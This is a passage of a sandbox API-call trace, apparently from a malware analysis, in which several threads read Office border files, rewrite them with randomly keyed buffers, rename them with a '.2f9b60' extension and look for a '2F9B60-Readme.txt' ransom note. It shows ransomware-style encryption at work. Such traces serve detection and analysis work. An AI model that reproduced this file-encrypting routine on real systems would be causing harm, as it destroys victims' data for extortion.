Seed=0x4154f7b0) returned 0x6aec534a [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x2b31928c [0122.242] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x17d2fa0c [0122.242] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x7d99b0bb [0124.480] SetFilePointerEx (in: hFile=0xdc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.480] ReadFile (in: hFile=0xdc4, lpBuffer=0x41fe2d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4154f820, lpOverlapped=0x0 | out: lpBuffer=0x41fe2d00*, lpNumberOfBytesRead=0x4154f820*=0x3c00, lpOverlapped=0x0) returned 1 [0124.856] SetFilePointerEx (in: hFile=0xdc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a300 [0124.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b885a0 [0124.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a300 [0124.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0124.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0124.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.857] WriteFile (in: hFile=0xdc4, lpBuffer=0x41b885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4154f820, lpOverlapped=0x0 | out: lpBuffer=0x41b885a0*, lpNumberOfBytesWritten=0x4154f820*=0x3c00, lpOverlapped=0x0) returned 1 [0161.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b885a0) returned 1 [0161.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fe2d00) returned 1 [0161.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a3020 [0161.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059650 [0161.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504e90 [0161.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3050 [0161.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3050) returned 1 [0161.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a3050 [0161.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3080 [0161.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a30b0 [0161.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a30b0) returned 1 [0161.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504e90) returned 1 [0161.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059650) returned 1 [0161.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x423a82d0 [0161.037] SetFilePointerEx (in: hFile=0xdc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.038] WriteFile (hFile=0xdc4, lpBuffer=0x423a82d0, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x4154f8d0, lpOverlapped=0x0) [0200.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a260 [0200.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a260) returned 1 [0200.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0200.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a260 [0200.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0200.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0200.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d8400 [0200.279] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="4d") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="63") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="3d") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="38") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="63") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="36") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="32") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="08") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="e9") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="81") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="b1") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="d1") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="57") returned 2 [0200.279] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="3f") returned 2 [0200.280] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="1b") returned 2 [0200.280] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="96") returned 2 [0200.280] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="9d") returned 2 [0200.280] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="db") returned 2 [0200.280] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="35") returned 2 [0200.280] RtlInitAnsiString (in: DestinationString=0x4154f948, SourceString="4d633d3863363208e981b1d15a573f1b969ddb35" | out: DestinationString="4d633d3863363208e981b1d15a573f1b969ddb35") [0200.280] RtlAnsiStringToUnicodeString (in: DestinationString=0x4154f918, SourceString="4d633d3863363208e981b1d15a573f1b969ddb35", AllocateDestinationString=1 | out: DestinationString="4d633d3863363208e981b1d15a573f1b969ddb35") returned 0x0 [0200.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858550 [0200.281] wcscat (in: _Dest=0x431e4200, _Source="4d633d3863" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\4d633d3863") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\4d633d3863" [0200.281] wcscat (in: _Dest=0x431e4200, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\4d633d3863.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\4d633d3863.2f9b60" [0200.281] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\4d633d3863.2f9b60", NtPathName=0x4154f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\4d633d3863.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431f4350 [0226.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4350) returned 1 [0226.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42056740) returned 1 [0226.115] NtQueryInformationFile (in: FileHandle=0xdc4, IoStatusBlock=0x4154f958, FileInformation=0x4154f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4154f958, FileInformation=0x4154f968) returned 0x0 [0226.115] NtSetInformationFile (FileHandle=0xdc4, IoStatusBlock=0x4154f958, FileInformation=0x4154f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0229.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e4200) returned 1 [0229.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858550) returned 1 [0229.635] FlushFileBuffers (hFile=0xdc4) returned 1 [0234.354] CloseHandle (hObject=0xdc4) returned 1 [0239.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4319c9a0 [0239.444] wcscpy (in: _Dest=0x4319c9a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0239.444] wcscat (in: _Dest=0x4319c9a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0239.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0239.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c9a0) returned 1 [0239.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af070) returned 1 Thread: id = 1469 os_tid = 0x1948 [0120.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 0x20 [0121.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR", dwFileAttributes=0x20) returned 1 [0121.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xddc [0121.254] GetFileSizeEx (in: hFile=0xddc, lpFileSize=0x4120fe40 | out: lpFileSize=0x4120fe40*=55222) returned 1 [0121.254] SetFilePointerEx (in: hFile=0xddc, liDistanceToMove=0xd7b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.254] ReadFile (in: hFile=0xddc, lpBuffer=0x4120fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4120fe08, lpOverlapped=0x0 | out: lpBuffer=0x4120fdc0*, lpNumberOfBytesRead=0x4120fe08*=0x4, lpOverlapped=0x0) returned 1 [0122.222] SetFilePointerEx (in: hFile=0xddc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0122.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631a0 [0122.223] NtQuerySystemTime (in: CurrentTime=0x4120fd00 | out: CurrentTime=0x4120fd00*=132462177275998000) returned 0x0 [0122.223] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x6f58e4dc [0122.223] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x231ded3d [0122.223] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x9e5bf41 [0122.223] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x3224f86a [0122.223] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x5a527b1e [0122.224] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x3544ae12 [0122.224] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0xea5d848 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x5359f012 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x3f5932e3 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x4e011e81 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x7e3b1c23 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x71169e68 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x78e576bc [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x49869e0 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x19e5647a [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x75e7e0af [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x6f38f1a0 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x55cd1d42 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x38a232fe [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x4a7eb0e5 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x44b37234 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x26a4b1e [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x5f4e8d36 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x1fd8053c [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x15ba5cf2 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x586b8547 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x1f6abd45 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x357364dc [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x3375da27 [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x1b74a99b [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x68784c8d [0122.225] RtlRandomEx (in: Seed=0x4120fcf0 | out: Seed=0x4120fcf0) returned 0x15e5e1b [0122.231] SetFilePointerEx (in: hFile=0xddc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.231] ReadFile (in: hFile=0xddc, lpBuffer=0x20113cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4120fd60, lpOverlapped=0x0 | out: lpBuffer=0x20113cc0*, lpNumberOfBytesRead=0x4120fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0122.410] SetFilePointerEx (in: hFile=0xddc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0122.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0122.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dae0 [0122.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dae0) returned 1 [0122.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f79560 [0122.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dae0 [0122.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050db70 [0122.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050db70) returned 1 [0122.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0122.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0122.411] WriteFile (in: hFile=0xddc, lpBuffer=0x41f79560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4120fd60, lpOverlapped=0x0 | out: lpBuffer=0x41f79560*, lpNumberOfBytesWritten=0x4120fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0161.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f79560) returned 1 [0161.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20113cc0) returned 1 [0161.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a2f00 [0161.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059650 [0161.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503710 [0161.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2f30 [0161.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2f30) returned 1 [0161.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a2f30 [0161.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2f60 [0161.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2f90 [0161.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2f90) returned 1 [0161.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503710) returned 1 [0161.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059650) returned 1 [0161.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x423a81c0 [0161.009] SetFilePointerEx (in: hFile=0xddc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.009] WriteFile (hFile=0xddc, lpBuffer=0x423a81c0, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x4120fe10, lpOverlapped=0x0) [0206.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0206.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb1e0 [0206.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d850 [0206.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d850) returned 1 [0206.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d600 [0206.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d850 [0206.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d820 [0206.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d820) returned 1 [0206.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb1e0) returned 1 [0206.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0206.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431aca60 [0206.030] sprintf (in: _Dest=0x431aca60, _Format="%c%c" | out: _Dest="95") returned 2 [0206.030] sprintf (in: _Dest=0x431aca62, _Format="%c%c" | out: _Dest="cb") returned 2 [0206.031] sprintf (in: _Dest=0x431aca64, _Format="%c%c" | out: _Dest="29") returned 2 [0206.031] sprintf (in: _Dest=0x431aca66, _Format="%c%c" | out: _Dest="ac") returned 2 [0206.031] sprintf (in: _Dest=0x431aca68, _Format="%c%c" | out: _Dest="ed") returned 2 [0206.031] sprintf (in: _Dest=0x431aca6a, _Format="%c%c" | out: _Dest="79") returned 2 [0206.031] sprintf (in: _Dest=0x431aca6c, _Format="%c%c" | out: _Dest="d8") returned 2 [0206.031] sprintf (in: _Dest=0x431aca6e, _Format="%c%c" | out: _Dest="26") returned 2 [0206.031] sprintf (in: _Dest=0x431aca70, _Format="%c%c" | out: _Dest="91") returned 2 [0206.031] sprintf (in: _Dest=0x431aca72, _Format="%c%c" | out: _Dest="a5") returned 2 [0206.031] sprintf (in: _Dest=0x431aca74, _Format="%c%c" | out: _Dest="dd") returned 2 [0206.031] sprintf (in: _Dest=0x431aca76, _Format="%c%c" | out: _Dest="76") returned 2 [0206.031] sprintf (in: _Dest=0x431aca78, _Format="%c%c" | out: _Dest="3c") returned 2 [0206.031] sprintf (in: _Dest=0x431aca7a, _Format="%c%c" | out: _Dest="30") returned 2 [0206.031] sprintf (in: _Dest=0x431aca7c, _Format="%c%c" | out: _Dest="98") returned 2 [0206.031] sprintf (in: _Dest=0x431aca7e, _Format="%c%c" | out: _Dest="46") returned 2 [0206.031] sprintf (in: _Dest=0x431aca80, _Format="%c%c" | out: _Dest="7c") returned 2 [0206.031] sprintf (in: _Dest=0x431aca82, _Format="%c%c" | out: _Dest="31") returned 2 [0206.031] sprintf (in: _Dest=0x431aca84, _Format="%c%c" | out: _Dest="6d") returned 2 [0206.031] sprintf (in: _Dest=0x431aca86, _Format="%c%c" | out: _Dest="99") returned 2 [0206.031] RtlInitAnsiString (in: DestinationString=0x4120fe88, SourceString="95cb29aced79d82691a5dd763c3098467c316d99" | out: DestinationString="95cb29aced79d82691a5dd763c3098467c316d99") [0206.031] RtlAnsiStringToUnicodeString (in: DestinationString=0x4120fe58, SourceString="95cb29aced79d82691a5dd763c3098467c316d99", AllocateDestinationString=1 | out: DestinationString="95cb29aced79d82691a5dd763c3098467c316d99") returned 0x0 [0206.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431f9b40 [0206.032] wcscat (in: _Dest=0x431c56c0, _Source="95cb29aced" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\95cb29aced") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\95cb29aced" [0206.032] wcscat (in: _Dest=0x431c56c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\95cb29aced.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\95cb29aced.2f9b60" [0206.032] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\95cb29aced.2f9b60", NtPathName=0x4120fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\95cb29aced.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x43131e80 [0229.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43131e80) returned 1 [0229.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43226f50) returned 1 [0229.718] NtQueryInformationFile (in: FileHandle=0xddc, IoStatusBlock=0x4120fe98, FileInformation=0x4120fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4120fe98, FileInformation=0x4120fea8) returned 0x0 [0229.718] NtSetInformationFile (FileHandle=0xddc, IoStatusBlock=0x4120fe98, FileInformation=0x4120fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0233.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c56c0) returned 1 [0233.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f9b40) returned 1 [0233.595] FlushFileBuffers (hFile=0xddc) returned 1 [0235.005] CloseHandle (hObject=0xddc) returned 1 [0236.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431cb940 [0236.615] wcscpy (in: _Dest=0x431cb940, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0236.615] wcscat (in: _Dest=0x431cb940, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0236.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0236.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb940) returned 1 [0236.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af100) returned 1 Thread: id = 1470 os_tid = 0x194c [0120.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 0x20 [0121.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR", dwFileAttributes=0x20) returned 1 [0121.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdc8 [0121.263] GetFileSizeEx (in: hFile=0xdc8, lpFileSize=0x417ef700 | out: lpFileSize=0x417ef700*=3876) returned 1 [0121.263] SetFilePointerEx (in: hFile=0xdc8, liDistanceToMove=0xf20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.263] ReadFile (in: hFile=0xdc8, lpBuffer=0x417ef680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x417ef6c8, lpOverlapped=0x0 | out: lpBuffer=0x417ef680*, lpNumberOfBytesRead=0x417ef6c8*=0x4, lpOverlapped=0x0) returned 1 [0122.256] SetFilePointerEx (in: hFile=0xdc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0122.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9cd0 